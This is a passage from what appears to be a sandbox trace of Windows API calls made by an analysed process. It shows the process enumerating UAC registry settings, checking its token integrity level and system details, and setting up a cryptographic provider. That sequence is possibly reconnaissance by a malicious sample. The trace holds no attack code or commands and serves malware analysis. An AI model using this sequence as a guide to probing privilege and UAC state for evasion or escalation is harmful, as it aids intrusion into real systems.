lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b988 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c3a8 [0041.631] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x30) returned 0x90b998 [0041.631] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b950 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c318 [0041.631] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b9d0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c2d0 [0041.631] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b9e0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.631] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.631] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c240 [0041.632] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90b9a8 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1b0 [0041.632] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d1e8 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c168 [0041.632] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d1f8 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.632] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.632] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x53f854, lpData=0x0, lpcbData=0x53f85c*=0x0 | out: lpType=0x53f854*=0x4, lpData=0x0, lpcbData=0x53f85c*=0x4) returned 0x0 [0041.632] RegQueryValueExA (in: hKey=0x24, lpValueName="ConsentPromptBehaviorAdmin", lpReserved=0x0, lpType=0x53f854, lpData=0x90c240, lpcbData=0x53f85c*=0x4 | out: lpType=0x53f854*=0x4, lpData=0x90c240*=0x5, lpcbData=0x53f85c*=0x4) returned 0x0 [0041.632] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x10) returned 0x90d5e8 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d1f8 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c0d8 [0041.632] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d1e8 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c240 [0041.632] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d208 [0041.632] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.633] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d218 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c168 [0041.633] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x20) returned 0x90b860 [0041.633] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d5e8) returned 1 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d228 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1b0 [0041.633] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d238 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c1f8 [0041.633] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d248 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.633] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d258 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c2d0 [0041.633] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x30) returned 0x90b930 [0041.633] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b860) returned 1 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d268 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c318 [0041.633] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d278 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c360 [0041.633] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d288 [0041.633] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c3a8 [0041.633] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d298 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c3f0 [0041.634] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c480 [0041.634] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b930) returned 1 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2a8 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c4c8 [0041.634] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2b8 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c510 [0041.634] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2c8 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c558 [0041.634] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x8) returned 0x90d2d8 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c438 [0041.634] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x53f748, lpcchValueName=0x53f744, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x53f744, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.634] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.634] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.634] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.634] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.634] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.634] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.634] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.634] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.634] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c0d8) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d1f8) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c240) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d1e8) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d208) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c168) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d218) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1b0) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d228) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c1f8) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d238) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d248) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c2d0) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d258) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c318) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d268) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c360) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d278) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c3a8) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d288) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c3f0) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d298) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c4c8) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2a8) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c510) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2b8) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c558) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2c8) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c438) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90d2d8) returned 1 [0041.635] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c480) returned 1 [0041.635] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c480 [0041.635] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x53f854, lpData=0x0, lpcbData=0x53f85c*=0x0 | out: lpType=0x53f854*=0x4, lpData=0x0, lpcbData=0x53f85c*=0x4) returned 0x0 [0041.635] RegQueryValueExA (in: hKey=0x24, lpValueName="PromptOnSecureDesktop", lpReserved=0x0, lpType=0x53f854, lpData=0x90c480, lpcbData=0x53f85c*=0x4 | out: lpType=0x53f854*=0x4, lpData=0x90c480*=0x1, lpcbData=0x53f85c*=0x4) returned 0x0 [0041.636] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c480) returned 1 [0041.636] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.636] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90b8a8) returned 1 [0041.636] RegCloseKey (hKey=0x24) returned 0x0 [0041.636] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x53f8cc | out: TokenHandle=0x53f8cc*=0x24) returned 1 [0041.636] GetTokenInformation (in: TokenHandle=0x24, TokenInformationClass=0x14, TokenInformation=0x53f8c8, TokenInformationLength=0x4, ReturnLength=0x53f8c4 | out: TokenInformation=0x53f8c8, ReturnLength=0x53f8c4) returned 1 [0041.636] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x53f8b8 | out: TokenHandle=0x53f8b8*=0xa0) returned 1 [0041.636] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x53f8b4 | out: TokenInformation=0x0, ReturnLength=0x53f8b4) returned 0 [0041.636] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.636] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x19, TokenInformation=0x90c5a0, TokenInformationLength=0x14, ReturnLength=0x53f8b4 | out: TokenInformation=0x90c5a0, ReturnLength=0x53f8b4) returned 1 [0041.636] GetSidSubAuthorityCount (pSid=0x90c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0x90c5a9 [0041.636] GetSidSubAuthority (pSid=0x90c5a8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0x90c5b0 [0041.636] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c5a0) returned 1 [0041.636] NtClose (Handle=0xa0) returned 0x0 [0041.636] GetSystemInfo (in: lpSystemInfo=0x53fa00 | out: lpSystemInfo=0x53fa00*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0041.636] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x6c) returned 0x90b860 [0041.636] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c5a0 [0041.636] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName=0x0) returned 0xa0 [0041.636] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c480 [0041.636] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c438 [0041.636] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c558 [0041.636] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c510 [0041.636] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x5000) returned 0x2210048 [0041.637] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c4c8 [0041.637] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c4c8) returned 1 [0041.637] CryptAcquireContextW (in: phProv=0x53fa14, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x53fa14*=0x72dce8) returned 1 [0041.657] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2210048) returned 1 [0041.657] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90b8d8 [0041.657] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90b960 [0041.657] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c4c8 [0041.657] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90b9e8 [0041.657] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90ba70 [0041.657] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c3f0 [0041.657] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90baf8 [0041.657] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c3a8 [0041.657] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x5000) returned 0x2210048 [0041.657] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c360 [0041.657] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c360) returned 1 [0041.657] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0041.673] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2210048) returned 1 [0041.673] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7283a8, lpbSaclPresent=0x53f9c8, pSacl=0x53fa1c, lpbSaclDefaulted=0x53f9c8 | out: lpbSaclPresent=0x53f9c8, pSacl=0x53fa1c, lpbSaclDefaulted=0x53f9c8) returned 1 [0041.674] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c360 [0041.674] CreateEventA (lpEventAttributes=0x53fa10, bManualReset=1, bInitialState=0, lpName="") returned 0xe8 [0041.674] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c360) returned 1 [0041.674] GetLastError () returned 0x0 [0041.674] LocalFree (hMem=0x7283a8) returned 0x0 [0041.674] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c360 [0041.674] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x5000) returned 0x2210048 [0041.674] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c318 [0041.674] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c318) returned 1 [0041.674] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0041.674] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2210048) returned 1 [0041.675] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7283a8, lpbSaclPresent=0x53f9c8, pSacl=0x53fa1c, lpbSaclDefaulted=0x53f9c8 | out: lpbSaclPresent=0x53f9c8, pSacl=0x53fa1c, lpbSaclDefaulted=0x53f9c8) returned 1 [0041.675] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c318 [0041.675] CreateEventA (lpEventAttributes=0x53fa10, bManualReset=1, bInitialState=0, lpName="") returned 0xec [0041.675] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c318) returned 1 [0041.675] GetLastError () returned 0x0 [0041.675] LocalFree (hMem=0x7283a8) returned 0x0 [0041.675] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c318 [0041.675] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x5000) returned 0x2210048 [0041.675] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c2d0 [0041.675] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c2d0) returned 1 [0041.675] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0041.675] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x2210048) returned 1 [0041.675] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x7283a8, lpbSaclPresent=0x53f9c8, pSacl=0x53fa1c, lpbSaclDefaulted=0x53f9c8 | out: 